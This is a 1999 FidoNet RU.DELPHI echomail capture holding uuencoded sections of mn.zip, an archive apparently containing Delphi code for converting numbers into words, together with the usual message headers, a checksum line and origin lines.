M^?ESEJYNL>N+HGIDJ+7G@QS MR"S%Y^^![WSJO>01T$_*6[E\"G&/GGUW7)A_][F8LRAOZ:).^>:X!S[,-]\%- M7\_$Q+7`_<&HJ/W`/GD=GWG-_\_&SF(3%M$4S)8IC?X6EWQXGY=Y^3K MR<_G2WF+7E`'7KSV'OC6WA,?R,\<7"`JOII[X,/\N^]?[--*#!FJ.) MP^\X_)[#'SBD''HYO,"APN%%#B]Q>)G#'SFLX[">PT,<'N;P"(??<'B4PV,<; M-G!XG,,3'#9R>)+#4QR>YO`,AVX.=W-8P:&'PTH.]W!8Q6$UAS4?<_@%AV4<;N>PG,,O.=S!X5<<: M[N1P%\#.VS:`^_ZE*5D,\IA^"FY4]/&CJO<&<<^9FXI^`V&J&T@8WDNG^.7=O MX^I7@QO*N-J6/TD/%RT(X'L#@^/&K]?@HX.BC0%'`.,!C/\8-?:&U&#ZW&/ZF M_%A,W3RP5Q6KWWT!0_/[I_!*I8H>.XW00]\XI<)JC./'2D`7I3/AR`#^E?Q-5 M<#/X\571G%/L//),48BX:\2`O/`1X*@E=HP8D#\.,I\^Q2JLB[7N0B-4T>PGA M`XZ*.L>%\+S>CHHVQX4!>=T<%T3)X*CH@$A^R%-)]D9\T:!^ZR`9K'I'Z.2#< M_*6KEG@R57\C_+P*-_4NTRW#IWS-$`0+#A$+A6_A#.0\IR/B'UKAF()CTN$8W MZ/^TJ'<2:&L,5M:J5]9@8H:AGL0AT[P6=+F!\26K$[),/5O!-2_]`6WTVM7@W3J?A?XGU==3U(8N;.`&( ML6%XT?PG`_".9""\*-M#8S3L9-F=?9MB:YKCF8[^_Z4A\:?4ED*S^#PAS,S?SR8@MOE:BP2&`T^_ M2V7HV!U3(Q]C[S".RM7R7GAWU$.*A?<,\+:HOLNKHP"\.@I`_&;+5N=EG?-'( M';R_P4+XY@A(P1XM[1OMABL)/;BX:";'[).O`\9V^;B*ZSC#!8\CYBU8R-XT3 M0)UC4&M?G#L,'FU=_3M4.`Z>5(>`PZ.+I@4B- M8NJDAB`>6Y?Q7*]?N+D.AL7,J3K9E[30`WR`3RX\]!^U8`WH!P^1<"Z9T8!_W M`,E#*;MCG@;4/HAD/$@.TTL=03["M^0-["L\/N>-(1OT7P[!(_SAZ5#:#(_'9 M)FCLFF=()=E'CE(D9Y4X2""5\"(QJFIJ='0(W+1&$?&KR&_QPQ;T!GY2I'*X^ MRD^,&^#VC`X]>XMGH3<;CB%OLCNRS\#N*V?A+3U,S4'=##,\I(N#&W2?G-@J_ M)S:#=.@.KF#AVQR^H5+W3\"W2_;%PL,^_"0#I%]EZ=2UH$/.NK@Y47'X1MKUA MD'YB&\5UX?"-MX?+63Y(J=FFG)&SSG^)='3X1MG#(>VS;303KPZRFF3[R>04: MBC[TF23K?,R^?&U'K,W7]34PYQM_A8]5-NF2CT<;6G2?8ZV=/NI[:B)I M*'W#W"]WO]Y`\=,%I2,GS]PORY[)7?^=;2/A^=B%:$S-_>!=X@7P$LYB MY@I):W*VF_,TGIB]J\,U]:6CH=YT>[O'T99JW\0L[A@T%=J!(N`L`F](Y`HDV MZJ?XI1E[JY(05ZL60`\/N6J;Z?,:9DH_:E8AE\=!`J,JU@]M!Q%%>39!YH^[UW'OK9"$IO*\6+0- MZ>NY6E]FPBML&W#49_)5T^=?TW_T!3;=[;)_YK&A$\631]#/@8*/!LH_O!<'4 M'VCNGPX7T^U,!O_4SIP+C/#/8$.O(G*,RGYNF**-UY MN/\N.XS77""7OCN&Z\'/_)+N0$5":#6^*<"*ZVO)T3=I&116NKO>QB;(P=]2U MPQ'N3`(#`;LB[@OD!&Z-:%N$!PTIEM0G8C60WTEC(F_88=O]8K)VV15VB[3JGY;7O**$V>B.UH@GP; M^^>#)D#ZWPK[T,&7N.)V-J/F%O43F."71>#KR>V#0)"[IDQ-`I2_9G=;::TP1 M/4/`!258XEE68BR62`^6J*8WP6]C"OB\HN?KC6[V4A6]#3#O6OX35M!O1W'Q& M/]?;Y#1?VK(0AFK=M\R9Q>F.`V01MYHKKC\\2 M(P:20QB2\Z\CIH9I#IBGHPQ3!J("/.`UB'/2]D*GRQ0^2`V`=]UVXV+0N"-@9 MJ='--]E"8$X#](N?U$7C=-]T4EW^L&5B*OT:RMMR6Y_'[U%!<)DNE>Y@2:,!V M+WW9V^7"15B,)/%3L0Y)DK<728)N:+@=(OXX^*?VBRE=S=B[VNQ@[QB=@.)59 M<*_#>IJ&/6V"_/(P[.EI?Y>>=OL)/?*QEZ97)T)*3LEK0*T<>#XO=7.Z6W+P[ M81/_P@ME]@Q%/2@!%14A_`7C3[O@`5T#$(:%M-C^(L`T=4U:/7* MT89#7A_K"\Q8'?3&>P'5<4#`7C29MNB/@*Z<'XV=9-?%[+L1$8>#R.1Z=.W5\ M>C^"K/+ST'\75%7OE6=>8XJNB527-V?C?16VJVPH;PV68I_#&:Z6Z@&EQ!PHW M-98AU"ESRHTY7;$)M[#UPW)FAFTT&VJ&)(Z(LG>'K&C,^@FF1.D<>&A=L*^GV MZM2!'ZC#@9M>[]/5E:AC^!Z MZ\LXH&SXPSBF!G5H3`GBR%;Y(KXV&?\8TWIR.P7)S!^8KQBX4,;7ED>JWS<\- MA"ZJ:A$Y.$F'"W_>*W\RC<2G4'Z[F_+%-K=2$E?Z]G].L'Y:(` M44NLXR7.8XG?L1(^^@2#K?21_5VI/%2M,;TM..YU5U1>!'XICP:<]+_1F:8;8 M1D=C=/-MU1_DX^^L/E&M/NE6$;V9%:&^8)$!G2VTED]`E&-X"[[R9S$Z#)_?Q MV'T!NS]W/L0#]M8RBH8%MJ3&'>S,S.69%SLS!QWLPO1[<]E$E:.F0A?L0\[_" M>`\TI*B>@4&>'"O(TVN9?@+VKQB*BNZP!Y?M%+M\*K7KK%7 M_[E=RN3FJF%L/FKR#-L,X5827B#^CB:*.N,&5:]R)T0*,2(7?HR*:^$V^!75+LF%I2SI,_@-03?MPC(6WP&_? M>OD/;A:IQ$SYJQH6V8\1%\-D6R:Z7)?92D7G;EK1JJJ<%3\&G;DK^,>I1ZGRD MKZ!R!W[?J%9VJ3`M]\R+P8\VJ>Z/+C<^&TV$GI4,@A$YQJ)G[-N86-+T/5#I( MBT;('H,_!\J!99]>!AZQ;IOK;<17]AH0@WZ$:G4AQKO29>YAI`N>GW/-4>@_! M#)4*W:J3/^USMLOJ^!YZY&+UZ7TUN#9>JX"&+N'28#IG\!,0XW8%'S^XGA)A@ M&TV$PF"8Z?))"/4S?L5!?2!84>BLR-R]EW?574B:$8X1L%O]M87M7X":7JSN/ MTKN"Y>J&Y:QF_M^[<"G8R_A&13/%>2-D8R1]Z@RN/"QO$4]]]BU^TA(SX M^A+CJ3*(@=FR!AF[AGVY4'F<]NTL#XNE*M$OJ%\8<:6UEIT$VSQ5@'?)C-9@\ MO4I6CWY[NK,6O`P]?)I]7KA89.XLG"COO*0JJBNJD"@GW:%WGEEYL*0.5"WE_I(C"`:XQ#U'4'=.$@D,= MBGV?6='3X^C5[OVS&TTP*KV:\)S0B&:0++]J`$32_6E%D'3@Y&N$N0/M.ZN*7 MR?4T?]E%9-FKAU%TL_<1B>>K$FF$;+]8E=@<(:]OK4KTP=#.V^"(D]94YL?2_ ME:B&S6@",KTU&^UYT!UOE+L+C_QM!9*CB2[.[6_KG75T:OF^E.@_?5V*#LW>QO M>6#KA@C!%_L9P1?[J>J+_33UQ?Z$)"E)2>M\L1\O/:$\%7RQ/T9]L3^EY<[_5:=W>:(!WODY7XD48 M8&^&2=N!TS#Q4'`.*S$Z"L\]^?U@=TEL`@=NHXWY216L;V8?`"S\%#<^=0MIX M5%\KG+?1F:?4UV7LHQ-3C"![.YCLA5^]BW7%]3:6WHX5Z8X]*-C45.PL??`": M)JC]=K.:N&0BD(T*:U@MMQ%1FQ(G-PU.""^,PD MMY_A54/2#;9F,UFOWF75W\/J#/<'++Y5Q?TQBVQ3<;_+<&O5_I4M1KKT8;@_? MZX+[(JJ$#9U,\\*O4-YBX\R<0P]4J%Q;4H%,9`)II33AIU21D8KY6R20`&G-] M?)KZY-V:)C_]W>)&7\VZ]]O&7'4$Q>![=_6?XH:FU*`9ET""WH#S"X M`K.Q+Y[.`I7)Z!N(!5!2E=3!#EDMN$'>E5`6C`;L)0T05'4,V5QRGJ5OA85:^ MFG/'7/,;%QK?\2QP4G)"8DJZQ�NPD MK_*`2R&&F=RDOL_9`__.GN&'JUF_6*`A&#@?#%P,!K`W&(`U6E"Y'!8N7)J\_ MQ?X_"B-/,'7H"?PH]19WD_HME"V5:L"PI48-&+?L1Z^V.O@!6U7D=E0.Z88*' M-$.]Q;]-$CR>-Q8&[+V+Q"=O._9:/M4H3Q1-??+VPW!/<@PM^8`F`)9\\5.M: MTNO.BMI;=U5S5/'OF%@,PPLM:17-4T]!F6KJ_UXM8S_9]?O"_X>];X^+LMC_WV476`%E4TQ4,NI0U MD9<.IITL*%$NWA4%U+R3P-%")7@VM0!7R6)YI,Q;EE9:GNJ8I\@\:9>CT!IJ[ M%R/K&(H=R;`SL&BHB*0<]O?^S,RS^X"6Y_O[_?[ZO7[H9V>>>>:9^HST=R)?OV,AHI$**?MX'JPBH_#+Q-.=[4R<_DI2 MMRG3,=D_;U7.C7%%Y@B0Z$3EO>W?9HYH^\)VMK#"AXQ)!E#,@/A[_&U?%NX/]=@HT M!*I\/]+@2&`T<@(>]YR?F[\7PIW*4+!`*A*:,%0:4.%Q+GZ<]"QFC6!.J8&L0_WZ%:[&QZGU M8<'$K-6#]EAU:7L\QRC.HR'6$8OE=$S4]\?K3G$;V2;5ZNC&59[8C'<%^=&%; M,M+Q=C5B-&&,%\&E><<.E[8(2^">@)L-]SNX\^!^"7<.W%UPI\+=`3<)[C:X; M(^%FP8V%J\`=`C]@W:PFFSZT&ZCQB>.'S:>6KXAC'B`":U[NG%ZO\'6`_1X1 MZ+WD^^[Q$;3^`E_.%W"`3+\G^`[2RK/ZY)B(XHW-$TO!3D/-;PW>G5`[@&3VK M\6FNM617[-3%L4*-Z,(VUQ]*;/\._F"FU7[%J.#'O+A3\+Z$VNB$H`*?]PWNH MD)=;$%<]`)X9N(F"47#S$NCJ`)HD3%N*-@@HLYG`D'':\W\V**;2`=N=[!Q9E M_]LWKG;0D>AQ0@MVR\=*XVZL-T5QODW1 MPY&.TG/[J19RNQ?7\"B9;].3_W97"\4,/$(44NA4]'-R85QN*Z/X-A%1'1&OYAR?08=*$XIG_CMX7VKMZ.T!9-'ZB"L@\$B^7^F`2\==T M?@&UBJEX__8U2>J)04+EKCN]'5/540L3Q1:E-!\;3'XH[=0+*:/<050TZB[[@85W8-LL9T3?]!V`%Y%XOC,2A M;^[D'3E6=&2L/<SJVOP[A&60![D'[Q[@J6\H M+IBMHBWR6%9&2P((-Z*'-T'OM%\"4RMYUR!L;C%8,M//.!KH:"7OS#$`@Z!#]";"C^R0O$5+K%GN\TV&X4A%>ZNDXYG M'FUKQ(EQ%`7\@A_9]7%XL%E^NFE'S!U*1,RM2CAZI34FVO;+J3/%?O";X0]$W M#/[@$Q/M+*[96.5.;Z!#LWH^L#D>&[/,.0'3$#@%(_VU8L#,8=2/^*:X,C; MM8%_9,)':@+K5U[@0TM+#?F=^=Q?.]U)-:7X(PSCI!MF@[+H!+8,DPK#""KK# ME\H<"2<J$TQ M$2A-.$J3C`J:L-WU'2,2F.LK@78%`N_?[FHJOMW>VD_QM[<.L)VXNY8++@Q+5 MM#\8I?Q*@]F7T]&3BVP8E,*>I^;R]U6CS$\/7/>X$ESQHZ(4NC:WP>>2N M)TT?4?:;BN.[GRZN*6-F>VUPIF]45.;;HVVNN\NVJ_DMIGS+4N*=K(C.#\(RU MD1]4Z.Z:>X<]+]IT3\YM%?'1)L.$)9W;X%+0?8O/N&[./!!G&D@YN$+V$4HR, MDC]%B%+.@7*6J4ZV9);7!V?!3NQ`_\,A2_TO'+U45K M'D?'5_,M@6YT,W>AVYQW\SYJR6$#L!"^N?SX^Q_4=,X]/\J7/QVA)TAO.%*;H M3BYH5+_GVG_]/E7\CP]>.00%%J7=%'C(UOO#3IR!TUF4V-:G>']$L.WF4;8&M MUWW%Y>:H[>W?(X`BP!EEJU[_+&\'"F*< M,\D"\<;VH\9NI.EKT['\RYNJ3QT;,!F('#O+R+Y?\8-V=S_%U^X>8#,FJH?9P M,FXVNMCO?E_J4S9+(@-)V'#I>/1A972Q7\3)F`1;0.(DIB!PJJF2T6V*Q"V\@ M2_T4J[#-1$:\+X'.1>GY'*NAN=)\)+J<

?A<*52^.=5(8=_>\W!^0&'^],G02S[_&$UN&N>O&NN(O]5T+Y! M5T*YV(_'[)+XZ)$`4^7RRTWHS#GU],[GTG%-M^7FY5X=D"^Q8PY>&42G\S[8\ M(K*Z\Z2PA;W-A]WY+35;Z[0'MCOV!`[Z%=D&"O=2=B) M%#M.@<10E3%YX&<4F-4AL)0"DSH$;J)`8D%_&.0-?)H"B3FM#WR,`HD[P*+?R MAX^8"&P@^3A?Y`[R<1[*3>3C+)ANY.._@"[6=JR**C4W"?T?RFENDW.96Z;XFW=>ENTVZ?Y'N&])]4[IO2?>OV MTMTNW;>ENT.Z?Y/N.])]5[JKI?N\VZ#I_[VWPEN.FG;E7\'+_[:W'#6\'`./0 M%"<92^*M/H+COZ(&'BD<:U7A+H&J`IT2Q!*MY%O^!9<5=R,QRM^(9`>Z[P MP[HT.T_:?$?9SKFZ%'>)A?"?\;Z6@A\*#[IUMJF^@?!98/'HUN*^RW]TGP0_N MM;IX*M(+]2F>%1"\.Z]/((ZMH6#Y=LY4I_:R__OD?5\H?78;)I3$A_:V-8`;T M@@-GN&IP'2SN:S]]LGAJ+]>IW8;BK%[NN[-">S5_=M+V[S&V1GZ>G:+>KPY]Q MWVP?ZJ]T`O83C,4S@GW4T6;[$_YMZB1K3N#BSL'[#IDL[AM<-[F_\KW) MO7JO^B=D^R!E6UT\"]GV\5&G6)=?IOG,YN/X7%ULL2\+;%LX>D*AT5 M0V':N?S?/*$#6'0,CL.\Y8K'6GQV##F8XU-T<'M1N<=>]N0I4IJ'TZ`N3CCCI7Q6+P;P_4I!X:+YSEFWZ2VO&`#AJO92[ M>Q?WMKM\(8B&G\YM7RA65S=&),OI.-X)I\`M93&3)P^L5@/43L4/H2/T]"G_! MR:=Z`1EBLC^!HJ3U>WWBTUB$?G:OS7B:=*T#><_LI/7+)/3+L69Y1W"0=`F6/ M(G8>8!E@!6`EX%@?YP]]G-4/.D\^Z*SJO!%'=7A$IRX9;!$YD-0-9-J2U6D"] M@1[(SOV8V3V0\JPVA;J[37>ZOYWN7/X3K]$J]0;U(3,W\3)=IT]L?,8[G]3J+ MYQ/+,S2?//*F=SZIY?-)RC._KXM![W]?_RE9RINDY:5==)"_HP.?-EC44X?C\M>O][:75)B,M*R\T=> MOTA)7&1;F+Y:N4YZBN-ZNF)CYVMZ/V772:O,<3U=)W'7LB=%]+>0XM]/D][_G MOCY@W*(%V8L69D@MK_3KI)=5+'23KJ4''+H&M+*UH,'!]4TA+-6R71W2J]$]8 ME\%_N%CP-J^9WGK0!S>`5@B(7T_7@;K=;6[S"[&&%(0$IB1EY.0B$Z"NEE&ZB M_OH@RG@;OS_:G[)2HR=UAZ6C8TTO8CGG'P'S?G-DRJO.&53 M-PSA[SZPXKCWLR6J%V<&OV55^S)=5D4=*\57EV'S"Z(,;[T(6N-&?'L'Z**;S MA'L"[N#-F"Y?Q=X)$+(5\0$S7D-0MKX)NQE\?PEW/!7X`+FW M;`'M$C!VJUX7VZR*&Z@L*;+`JPEW?\\CE>Q$G6=U+[6ODZ"WD`=`.R`I]X0=3+V+6RT`6';3 M19T,@1OSNK=.@K:A3P!JMXDZ"7\3M.4W?[M.OL.WC8!M?T'>VZGW>,<2X>ZOA M#Z#"F5==U7?L);\_-E:7_'9?IK&V9[NW+0G\4\3:476==%F):,78DFNGF_XV( MZ@":1\6D+,M[2Y5<)_\CGO,^G\#P$SQ%RO(1]V3Z_79^)OM'_H!CSAD.@3 MS1]`>\,=\CGBPPT!9'^F[^XJVFLOCK`JBLF M-()\/%W%1\/8:-EELNP`S54^DE4\7))[&1<[D:Q3$E)+V9[*)%ON=T)7S< M:<=';H48M=@NWKE:+XI3DMJR-0J<2):RDRN6)`G>4B!8PH,.364!E1H3MA9KB M'ON)1))>>D6WIXQ:37O*%L$>:GF=-I;#7_&PA[1[%MG6S=BWJ=F6\2N;\VY-5 MA`K=MSR$'<5W4/WZ)QAW/5[D=W%%QHVW_:C^<^L6^L#BGIA$_*4\*S[00D+5* M%A>H2E+UB]O!JF#K-#LH:6-L!RC9-)$'O-&^U'5M:XF/3_;DI M24!*NPKL><%:7_4:O_]K,V>M'Y@]2U^7A?MK4>#6?_`*33"H4RUC"J\8\OH_J M$C8%_,\$`RLTDEGB3N#+$^D_>K'9%B!>D*DXQ'7;OA-5"59VB%K%OX[B7WMKC M.(D=^MC[?9#N53Q/H;)P?YCG_FK.GJU@]R)Y<$.I_F-?).V,]GIYN9;HW"";K MGTH7VW2E2RMC2MUQD`'C;8B>>02GE7`??G.ND[WNT:-XQ*`QF:&4L,8C8]2P>8^'7=^;W[%>A'BS_T0<9EH24TF]\M MJ9F]M5;7@\^L$:>B'ENY_/\FJG1Y!Z":8':*.T@AR,;OI4IR*!%F*+)9A,XC. M>`NDMSK80;:,P`&N*\#G_";2CKBO7/O;N!][1X\[D%3#2CWHK5HKT%NRA=#[7 M^24A;L$17*TF!15>CBWHHG[NO2_3=4/A94N!O]"\$O1ST^?J-RQ)DPD`,\TX. MC$R@0=K''!VBVL[C`63(0VZUG.Z02K*,YOU2M"V)9Q[BNI2%;6ZE$S]49K3): MYNU0QKQU6AFI?);E-)'Z%_!R6JBZ@V)5CY:?\J&K8"<^C_&1ZY4R; M*5PGBKW\52KV+R]Z6J5#GIW6Z^JU799-)$A9T#'+`E$$TK<3%[SV4)/1-5:HI MA_M!,*&\!NS#-6S;&D+&XK5[LUX@T_0*(?.P%QE-CH'Z_]I04B"PGVHC?>)U) M7$J2QL+@#=ZQ`(*3WQJ,HAN<$(,V&;RRNTS(9T%BE'PDPBN+]\<-WN(I-Y6LO M)PO=$';]?BU-/*UM0H8H?XLFH1V/Z.SG5[A\JF-E`Q=:HNDI4'YI8B_3ERM;) MN315$W]/UI0@)MO`A9J,)>L)@ZTM5'G#=I!0$Q-"35PWN\=1FO\WZD;/GS:0$ M7!/%84=?%N@Q!POV00E['Q]D'@4,$6=/+V+ MPK3_>'KA.VME+URMS<=.,?\WJE_3@%!#W1R#1Z,03;@J.>>MFZ4=3+=+J'KNZ;]50OGI=[-PKYS,1-U)J[UNM:F M4]/+4H]3"SG5[G3"8.N?YS+I"93B.(GP+2_JBD$(QQ)6K815C">GNU\4:'S'I MFV6.,T^7]P.1R&5LJYH=AM$]`&)58 M"72IL4#*()"Z@\*.\G@MC'9Z:I7]@A'B-3R$UR1$D5YUTI(PT],N+%">AY)TR(/>.AC9KIQ5^O>P M49[T&SR;J7$-WJ9_^26MSBH2+AEDO860`*%`-+K*%JU>H&:/XLTNZDHV>V-2; MR;@&73](;9C*-F\F@6&T_+=(T.BI]FTO"D&Q6<=8?7TIZS..&2;.C_F M?NVVT]H]%.*;=9^NU:W=PA8\US9WS&RB-&0A]V_2]^\^TISY:YY0V9MEL;0^. M$TJW4Z+`1SUO=*4/%\&RPW\K&@5##2D=E0_AZK@6ST.$IR;^NDETP&1NAOW03 MFG;CX(M-?#>N(6@4NS6MB716KSFV;=>*:HM>&JIOWQ!>D2GG$ sum -r/size 25788/16380 section (from first to last encoded line) crc64 a04624de9eb15a13 section (from first to last encoded line) --- Txt2Pkt utility 1.7 * Origin: (2:5023/17.28) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 132 of 341 From : Nail Maksudov 2:5023/17.28 05 May 99 10:36:00 To : Al Subj : DX.MISC.Преобразование чисел в числительные [4/5] ──────────────────────────────────────────────────────────────────────────────── section 4 of 5 of file mn.zip < uuencode by Dos Navigator > M/*^KQM^9"QU7%1+[;1PI_A`WJ+E$:UTYZZFI+2S]8[Z6^2>.L=44'O:N3ZM?_ M%C.:LH%R/[6:UW%%ASG-H_K#M9\QCR#A%%*S(#_U&DVC5*Q1D\F8B/KYUI82Y MTF%@6SN37!G'.N05#]9H_0IJ_1D>5'J_(GJ<<16A,H6C,NLA36:YA6]BT%6U- MT;+W%?UH:;PL1LM6;ZB3W4%7?=&%!EW@Z=>(PR2_OB2+]DTXLQX6"X^9_&*0> M]/<@\Y9$)N4*(?/Y<^VZ_V>O\),I&[J>7O[M.;EIT^/*QW>+;G`O>-6S@[V@$ MI%/2#TB4DU[U#O"6:PUPM<7CCY^BC5;VL/Y6@RFO"G3_7>55@>[J& M=?2R[5F-.4/X\C-T'>6)U;)/SB.NH[=;!@1ZNN7;6Z[J/ MEO,\R>Z4>3_BH&3+2K1NR?NZ_KS@N_7:4]OZ]5PTF5)F7W72(1RT5\)KKXWY[G_7^5V,VB`+\WAQY]3=]E,V\U2 M&-K/I3=?-9>*'CL6,3&/UI)_R*VZ!OWA-=$#[^!8K%=UVT.YCRYS)(8Y$DE!T M*#'"D1BI;:1:*7]-U5/I-QSWU^D/ M[;F]\PUO(=GLG[ZNEMT).IQM>X4W"<2LG"SD$K?2PZT+##'KRGKH=5'CT:NIK'\M%D.RU3.O> M\-W=#9F%2_I0+ZU2*]6X<'=R&*?K>-[=[GD7B55DNK:GM1J4`>(4H4!_1AUC! M5;M3A;`KZWE]Q%%]\!X<*6)E7T4O^'Y;>YJ(-:^GAR;RV8TD6ZK0;YQ5B^EQT0Q0AKI-[[1PO8NUS[-]E3*O[:)<73[K4U&P;]585,!!<-Y#';WHYB,SB#B.:6;'2+.\_PF#R#$V- MPNP(B5`9W^P.:E;SK1.BV_(&EX3=^XT+,N6JN4H-B6#-.VFWD>];DFMTA:A7I M)D#EHC-]8;3G]S0J/NJ%Z+;\+TGUQ!%5C&`H7LG4=#4@_G-N4F$EY\*'?A[?LS6MQACG#=*"1.:!>#\=S..)J7AJ:K* MRZ-OZN<%A9>ID8;\>R_Q,O$A?PM96A.E+O"6^KF7O*5VDR5LT=,B]&JD/[PIJ M2GX'W\&M?]I;T:L]:'A&FS4Z+@0D=2>K(\(+'VBA:+V2E/,6=4Q02="Y?A7EM M-:;GV>0"7L4T-FG^)*LFB6:ZYX"%(!MWG%5V]-G:?3<=RGS\K=\H\S]>])9Y+ MP'E/F74MO>E%;YD#SW><*;YG:]6KIX`?WQ)U\`>5ZN#YE;HZN!JWB7_][6[6> M1Y?YL^?TF3OR<=LYWZ5Y'MCF+*MM=*?1_WKG_8DS9),TI<=[K+=N_]/ZVJ^ MK:6$#@NMIM26;^K5"1A(W[`FFMB-<>H(/K13FUCO=VEHYYUQ&*@_RW;>+9 M=?,7OL6:^53[=9/O3X??;6.#R+V3GLMT; MS\&[#U$0\0"X'3[JZ:)H<>8D=CS%SZ7L6'NZA*9IOV$9:=H7I9*J9KZ%) MRC5EAU:NX-T''J`=M2T6&Y)?B1C>XGC2O-*=_YC#1@J@@1X%T*T15-3Q&S0%4 MT/1G2$:6BKI]!A\IJ&"5+BD6!*0DY2S*3IR_Q)8M^E+R9*WJ>U/^- M0,TQWJPFA#B@`)!@=20&E21:U=0@UA,%+$D,@0(1Z_+,5683*DAHS2KXH_5J+ MR]8F4B^5W+SAX+C1,_O@-.=&NL&(*[#8;EMY!D2+R5;U,W9Z.S?8T4V+^`W=+ M7%;!'LG#CH@X='MU=C%3U99_\-2][,)(P1*T9VJMEJI&YC7"2L997H)Q(?>$1/@VRNI3 MZ7O:I8ZM)YV7VJ7S'2T`GZP5Z2S1I[-5IC.7I_/-,IE.,KN=C"M4$>:^;);46 M2-3Q*`.AU'!_E1+L'F_%TTRR-#M$ZJD*6Y/U-]"A-GA=&?:5TN8DGY/!06_2@ M#B3OZD_)L?U)M?U5K@*0.N_#=SVGJR66"=@09HWP,(\I+A%Y?OI)F$%J4I-#$ MV/TKB5W1Y"$B4*Q0FJQMO8@JLK+9UN.CAG>IZ9K8^;=XD_M1I&Q:A8E3>)C-G M1I'!9YY@V^RIGK)WQ2DLAM.E=Q:T.X7]\*X\_SS%U_\"W3RNV:>9,&5\PB2#I ML,];I<:AB$H_R;R_,1&<]^\1QGJC'.SR4K=[Q'C;&0HXNU1L_/O/]M;G2QA(( MO"I7LU]0M:PKOR.:;/I^[_C"40%E]/$A_<9;%P<_3-LFT0:$:PEQJ^ MQ@C-#4%EWD+=:C!USXSG-<$&WJD#B'=4GJ^=7+2ZZO2>Z&=75E!=S<_7\8:U9 M,_<1CV#%"D_F.\'F9L_\AYK6S34=\6@AQ<4$*%4K75$A6%L05M.%;+6UMHM7Z MHZ<8.=X3"\N3//^Z/,H?B?"EQ4/WH^6,E/39@M."CC-XIXZ\1O8KL.L<2Q'F2 M(()K.`)G$\^OK;\IE[9V7?P$&>C6T_)FT?D(<`D^:1<+1^ID*V=&D+IQBA\/7 M^4J$O$^\5#_=[C)ZI^AZ,T\3QO?FZ?FVX%DTQ[J-MD[P%"Z!UA6VXS.=I4:M? M+"3*,:B:^>RF2QBYM:`KBWDNT:3BRCXBQ@6>_,$-7+&8-Y4?9X,T@5QX#!V-] M'?R`7[TF`CF]A3HA,49X>W$#AZGSK._K+5XD-W+)"\2 MC+Q_#Z1."JPCH<#(:_/O.KH0>`>%^8U0ZVQ.M^_\7<>;>**`AMQ^BH%3?J/D& M\>CXG0FMA4OZ&VP3,.E%0`2)=5?XX<4QO#_O)A]XJH6S,`>)58M=:M&A$_&!I M&-ZG.(UWZA(OQY/.PW*$62;C5>W'#ZU8WZZMPD^&0`(SH;U8FNF;*VP.)7D`5?:@X"#QVXG_D\YW8*.R1U$H1[&1.1'']4:WX9 MZ.!NM-]_:':]!4]5]/0+/77#$Z.G'_.X^:9I()U-XT;/M;4],2TK-T-GTS$E0 MQY9AT-FB(QF-9&*;$LK5F/[[0\,=Z(8#_N2*IYN2-83O`3;!>XE`!"K''_'&. M3ZCY.5EO>K,O/L*/WG1'$LCMU'UH8[.SNYXDD]>Q'_O/@]"E^S9QW@_N8&(\#39M:J3+.S%> M)X4,";8.0OA$?`%YR6R]",[E/"ES4\ME:IBP4$0L^G9B."3WIA.["2SA\;DM; M(<)TZQ#:FGQ.=..2&B%VPWD_:LGN/TKA<1NM MO&-?[*O_\V'[I8<];.'6:+?VIPP?*A(#I;O^TCWS1V+K8^#)+E3D%GMU._Y_+ M"Q9KGA3`3B\U-KSR^[R"S8/AMG MJHB=852O@)P!.D4`WMOS0MUWV:![W%18-B<)+(FOL?_$9W,Q0!!E+DW'T.O,W MIOFB29TTART\*"W`6"CCIR[RG0+XO/ZJP3[$W]:9/F]DNPZ20&8#,8"[DT`FT M>VX1WRAA'?B,6PTFDRJ-<76/B=O=D<7A19XL`F462C`H;'1_>1.SHNN[^@K\% M#=Y5PJR5".@OF4,\(L1MU%6TZZ:Z8X\)$2/:\CSZ,^IVO MZJ*M032'$VG9E\P@VPK)E`_?\?#UMULNZ9?J/I_W[<=B)SEP"37GJSFZ7;^.M MKN#AO&S=YI77?9!O^7D(N_U[81&J136HAN@XL^VF$EY\=[+E*>*+0*J!LXG8+ MH0-DSQI'@\_8T7.:G43/?IW^T4`_YB%RA?[#.S9;F+J8VRI5OV4]:8OQ[9ZH@ M?Q#]\TDIFGL[F6Q3#X_Z2$Y$4Y_DT9-TMSTD>$=W;"@V**W2.#BDB[[&L-JR. M@W2!&_EA$?K_MJY:W/[(<]0_N?%Q>;*._J>N&F_^!S\\B06WTV*JR^3'=,(`3 MAG;R8MI8(7)-`Q568VIE[_.,QPN%!1:#K3MV/%M#:3!^^10WY\.*"#D_-6I07 M6;%?84M@\#/_1*KNB)6K@,$T?/X)W#9`S[VQAJ&`F8`G`.L!E_>*.#-E.#5(D M%DBC,?[47@WTF/$K-_W#!6Y8*QG7LQG%$NW^E6\*^0M3!5[,D"\"+O#U2;YB/ MG^'5,*/23J691JI_)_U(LK+U5B,+Y%5RT3:12ZYE#X7<@DIC,6(-K+H#@?W MOD7C@\=ZAGIZM/R^B_P>2T@2WY3@]&GE\QKU0TR5M+U4.DO9IQ8V6F_U;!#QC`J%5GGJ6VV]M^Y2,$ MA1K1I:I+Q""=0Z0H,G\10J.V@GURENB2-R^N"7[;Z:KV3#T]ZG*SQ`IQDKK]B M!T",^2[2TS_+)/TSE],_%WJ8*423D?L?SS;'_8M^F[-2X=NJ M>H%,72V;*--@CR*H&/P8#V]";!@BRML)"[`HM]P,>*DI_E#RF(5:!UEKO(Z^JN?ZM^P=[&JT'5*ZN7E6MVZR<2QN)C;AK9<58[* MJK4R!QU5.^#X(#`:==9#%3"Q6#YF+$G"G-]D-S]/(3S2R`OR58.G(,.;N63Q/ MQR)D-[Q1S;QHDN_-222RO][AU/?0/"RTA37+"ENZ!#_S-P.?WA[]--9P`R+]K M%>Y.0!G@,.`$H%X"O2>X!+_!Z7T.`+CFI;+E_/`W.U6@OHD_34SE1K18"7^*" M2^5&1M@R_G1/ZA[:T;/'^-,=':R?4V"G.AD*ULUWY-D]8CH/`O%31/=7++EG*RH# MB19I$DQE+XJ7S?4>0L^C^MU@5^1'1,/SB[C\F\",R^T0+>\H:'D'0,N;$-1O1 M`M'R6@0M;T*0H.7=^<44=83%-,)JG&"E*Y7:T?)FZVAY1#,DNAU8^F8VXF=)Q MC<,\,)'8V56%,1'VO'#\+EO6:Z4!)1%Q7CYUT#](R\4+.'0-$(FH9SB5T+J)SR4QRM7D,-/;'C M.%^7DC?PY.F,"21/`M[A[9(_3$>(HV(>^K3-,P\5H7AR*B(;H]/:Q 